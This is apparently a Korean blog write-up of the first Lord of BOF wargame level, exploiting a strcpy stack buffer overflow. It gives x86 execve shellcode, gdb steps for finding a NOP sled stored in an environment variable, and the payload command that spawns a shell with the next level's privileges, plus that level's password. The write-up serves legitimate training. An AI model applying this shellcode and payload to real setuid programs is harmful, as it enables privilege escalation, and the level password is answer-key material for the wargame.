2017. 11. 17. 13:17ㆍSystemHacking/LOB(BOF원정대)
# BOF 원정대를 시작하기에 앞서 항상 기억해두어야 할 것이 있습니다
해당 버전의 리눅스에서는 " ff " 입력을 " 00 " 으로 인식하는 오류가 발생합니다
이를 해결하기 위해 항상 문제를 풀기 전에 다음 두개의 명령어를 입력하시고 문제를 진행하시기 바랍니다
1> [~~]$ /bin/bash2
2> [~~]$ export SHELL=/bin/bash2
환경변수의 SHELL을 변경하는 이유는 gdb 실행시 bash2를 사용해서 gdb를 열도록 하기 위함입니다
그럼 문제풀이 시작하겠습니다
[ gremlin.c ]
1 2 3 4 5 6 7 8 9 10 11 12 | int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } | cs |
[ 24byte Shell Code ] / google에서 linux x.86 shellcode 검색하면 나옵니다
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
< 풀이과정 >
1> 환경변수에 쉘코드를 올린다
[1] $(cmd)
$( ) 내부에 있는 문자열을 명령어로 인식하여 명령어를 실행한 결과를 출력
python -c ' cmd ' 와 함께 사용한다
$( python -c 'print "A" ') : 파이썬 명령어를 실행 한 결과를 출력해준다
[2] export
전역변수로 선언한다
export tmp=""
[3] env
전역변수의 목록 출력
2> 복사본을 만들어 gdb디버깅 실시
[gate@localhost gate]$ cp gremlin gremlin.cp
[gate@localhost gate]$ gdb -q gremlin.cp
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,0x100
0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1
....
0x804847a <main+74>: call 0x8048350 <printf>
0x804847f <main+79>: add %esp,8
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
(gdb) b *0x8048482
Breakpoint 1 at 0x8048482
(gdb) run $(python -c 'print "A" * 44 ')
(gdb) x/24x $ebp
0xbffff968: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff978: 0x41414141 0x41414141 0x41414141 0x41414141
.....
0xbffffa48: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa58: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa68: 0x42414141 0x00424242 0x3d445750 0x6d6f682f
...
(gdb)
0xbffffac8: 0x656c2f6e 0x69707373 0x732e6570 0x73252068
0xbffffad8: 0x706d7400 0x900abf3d 0x90909090 0x90909090 : NOP코드 시작
.....
0xbffffcc8: 0x90909090 0x90909090 0x31909090 0x2f6850c0 : 쉘 코드 시작
0xbffffcd8: 0x6868732f 0x6e69622f 0x5350e389 0xb099e189
0xbffffce8: 0x0080cd0b ....
=> 쉘 코드의 주소 확인 : 0xbffffac80~ 0xbffffcc8 중 적당한 주소를 골라서 사용하면 된다
3> payload 작성
[gate@localhost gate]$ ./gremlin $(python -c 'print "A" * 260 + "\xaa\xfb\xff\xbf"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world
'SystemHacking > LOB(BOF원정대)' 카테고리의 다른 글
[6] wolfman -> darkelf ( argv[2] 활용 ) (0) | 2017.11.17 |
---|---|
[5] orc -> wolfman ( argv[2] 활용 ) (0) | 2017.11.17 |
[4] goblin -> orc ( argv[2] 활용 ) (0) | 2017.11.17 |
[3] cobolt -> goblin ( cat 명령어 ) (0) | 2017.11.17 |
[2] gremlin -> cobolt ( Small BOF ) (0) | 2017.11.17 |